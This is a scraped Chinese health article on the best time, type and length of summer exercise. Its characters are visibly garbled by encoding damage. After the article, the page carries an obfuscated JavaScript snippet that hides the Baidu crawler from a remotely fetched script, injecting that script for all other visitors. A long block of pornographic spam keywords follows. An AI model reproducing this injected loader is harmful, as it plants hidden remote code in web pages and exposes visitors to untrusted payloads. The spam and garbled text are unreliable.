當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

夏季鍛煉時(shí)間應(yīng)選何時(shí)

2017-04-14 20:17:06  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):夏天是個(gè)讓人熱不停的季節(jié),溫度持續(xù)升高到頂峰,從此一直居高不下,使得人們都不愛(ài)去外面鍛煉身體了。我們?nèi)梭w承受不住高溫的“折磨”,很

夏天是個(gè)讓人熱不停的季節(jié),溫度持續(xù)升高到頂峰,從此一直居高不下,使得人們都不愛(ài)去外面鍛煉身體了。我們?nèi)梭w承受不住高溫的“折磨”,很多人面對(duì)夏天的到來(lái)只能暫時(shí)放棄運(yùn)動(dòng)。其實(shí),夏季是可以繼續(xù)鍛煉的,只要選對(duì)了合適的時(shí)間段,選定了鍛煉的時(shí)間長(zhǎng)短,就能完成鍛煉。

1、夏季運(yùn)動(dòng)鍛煉應(yīng)選擇在傍晚5—7點(diǎn)鐘

夏季早晨空氣比較渾濁,空氣質(zhì)量也不是最佳的,不適宜運(yùn)動(dòng)鍛煉。10—16點(diǎn)鐘時(shí)一天天氣最熱的時(shí)間,這個(gè)時(shí)間段進(jìn)行運(yùn)動(dòng)鍛煉容易中暑和肌肉拉傷。夏季最好的運(yùn)動(dòng)鍛煉時(shí)間是傍晚5—7點(diǎn)。

2、夏季運(yùn)動(dòng)項(xiàng)目最好選擇室內(nèi)項(xiàng)目

夏季高溫天氣建議大家不宜選擇戶外進(jìn)行運(yùn)動(dòng)鍛煉,不然鍛煉的人群是很容易中暑的。所以,大家應(yīng)選擇室內(nèi)運(yùn)動(dòng),既不熱,也不會(huì)傷害皮膚,這個(gè)選擇最為合適,像游泳、室內(nèi)羽毛球等運(yùn)動(dòng)項(xiàng)目都可以。

3、夏季運(yùn)動(dòng)鍛煉時(shí)間不宜過(guò)長(zhǎng)

夏季運(yùn)動(dòng)鍛煉的時(shí)間最好控制在1—2小時(shí),時(shí)間過(guò)長(zhǎng)容易出現(xiàn)體力透支出現(xiàn)中暑的癥狀。因此,夏季鍛煉身體要選擇適合的時(shí)間、項(xiàng)目以及自己要做好準(zhǔn)備。

雖然夏天外界溫度過(guò)高,而且還有多方面的限制存在,實(shí)在不太適合鍛煉身體。但是,只要大家選好了適當(dāng)?shù)臅r(shí)間段,例如傍晚5—7點(diǎn),一樣可以完成每天堅(jiān)持鍛煉的任務(wù)。不過(guò),大家一定要謹(jǐn)記鍛煉的時(shí)間,時(shí)間不能過(guò)長(zhǎng),否則會(huì)傷害身體。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
午夜精品乱人伦小说区| 一色屋精品视频任你曰| 久久精品国产久精国产| 国产精品妇女一二三区| 中国精品白嫩bbwbbw| 国内大量偷窥精品视频| 国产69久久精品成人看小说| 精品亚洲AV无码一区二区 | 国产精品嫩草影院永久一| 99这里只有精品| 国产在线高清精品二区| 国产精品久久精品福利网站| 国产chinesehd精品酒店| 久久精品视频观看| 99久久精品国产麻豆| 国产在线无码精品无码| 无码国产精品一区二区免费虚拟VR| 秋霞久久国产精品电影院| 精品国产高清在线拍| 国产精品嫩草影院永久一| 国产成人午夜精品免费视频| 精品综合久久久久久888蜜芽| 国产乱码精品一区二区三区中文 | 国产精品福利在线观看| 四虎国产精品永久免费网址| 国产成人麻豆亚洲综合无码精品| 日韩精品电影一区亚洲| 日本精品久久久久久福利| 青娱乐2017年精品视频在线| 亚洲国产美女精品久久久久| 久久久久国产精品免费网站| 国内精品在线视频| 久久91精品综合国产首页| 亚洲国产精品成人久久蜜臀| 国产精品成人va在线播放| 精品无码国产AV一区二区三区 | 四虎AV永久在线精品免费观看| 一区二区亚洲精品精华液| 99精品人妻无码专区在线视频区 | 日韩精品一区二区三区国语自制| 中文字幕日韩精品一区二区三区|